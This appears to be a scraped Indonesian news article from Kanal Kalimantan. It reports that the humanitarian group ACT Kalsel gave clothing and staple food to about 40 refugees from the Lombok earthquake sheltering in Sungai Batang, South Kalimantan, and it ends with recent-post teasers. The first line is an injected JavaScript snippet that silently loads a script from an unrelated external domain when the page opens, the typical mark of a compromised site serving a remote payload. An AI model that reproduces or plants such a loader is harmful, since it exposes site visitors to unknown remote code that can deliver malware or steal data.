(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Bantuan Kemanusian ACT Kalsel ke Pengungsi Lombok di Sungai Batang


MARTAPURA, Mendengar ada puluhan warga Lombok yang mengungsi ke Desa Sungai Batang, Kecamatan Martapura Barat, Kabupaten Banjar, Aksi Cepat Tanggap (ACT) Kalsel memberikan langsung bantuan kemanusiaan. Bantuan kemanusian berupa sandang dan pangan untuk meringankan beban warga pengungsi selama berada di Kalimantan Selatan dilakukan, Rabu (5/9).

Muhammad Ilyas, Program Staf ACT Kalsel mengatakan, ACT mendengar ada pengungsi asal Lombok berdatangan ke Desa Sungai Batang, jadi ACT langsung bergerak menyalurkan bantuan berupa sandang dan pangan untuk mereka.

“ACT salurkan bantuan berupa sandang, seperti pakaian wanita pria dan anak anak, sedangkan untuk pangan kita berikan Sembako, seperti beras, telur dan lain-lainnya,” ujarnya.

Dijelaskan Ilyas, sumber dana yang digunakan untuk bantuan warga asal Kecamatan Tigabaya Kabupaten Lombok Timur, NTB yang ada di Desa Sungai Batang tersebut berasal dari berbagai sumber donasi masyarakat Kalsel yang datang ke ACT Kalsel untuk disalurkan sebagai bantuan kemanusiaan.

Melihat kondisi pengungsi di Desa Sungai Batang, Ilyas mengaku sangat prihatin ketika melihat dan mendengar langsung keluh kesah para pengungsi tersebut. Apalagi kondisi mereka yang hanya datang dengan beberapa helai pakaian saja, bahkan ada pengungsi yang tidak membawa apa-apa, hanya untuk mencari rasa aman di Kalimantan Selatan.

“Kita prihatin dengan keadaan mereka, dan Alhamdullilah ACT bisa bantu mereka pada hari ini, kami berharapan dengan bantuan yang kita salurkan bisa bermanfaat untuk mereka dan dapat menatap kehidupan yang lebih baik lagi,” pungkasnya.

Perlu diketahui hingga saat ini ada sebanyak 40 orang warga asal Kecamatan Tigabaya Kabupaten Lombok Timur, Nusa Tenggara Barat yang mengungsi ke Desa Sungai Batang Kecamatan Martapura Barat. Mereka terdiri dari 13 kepala keluarga dengan 22 orang dewasa, 14 anak-anak dan 4 balita, kebanyakan adalah perempuan.

Para pengungsi yang meninggalkan kampung halaman trauma gempa di NTB, kedatangan mereka terbagi dalam dua gelombang, menggunakan pesawat terbang, saat ini mereka ditampung di 3 buah rumah warga. (rendy)

Reporter: Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.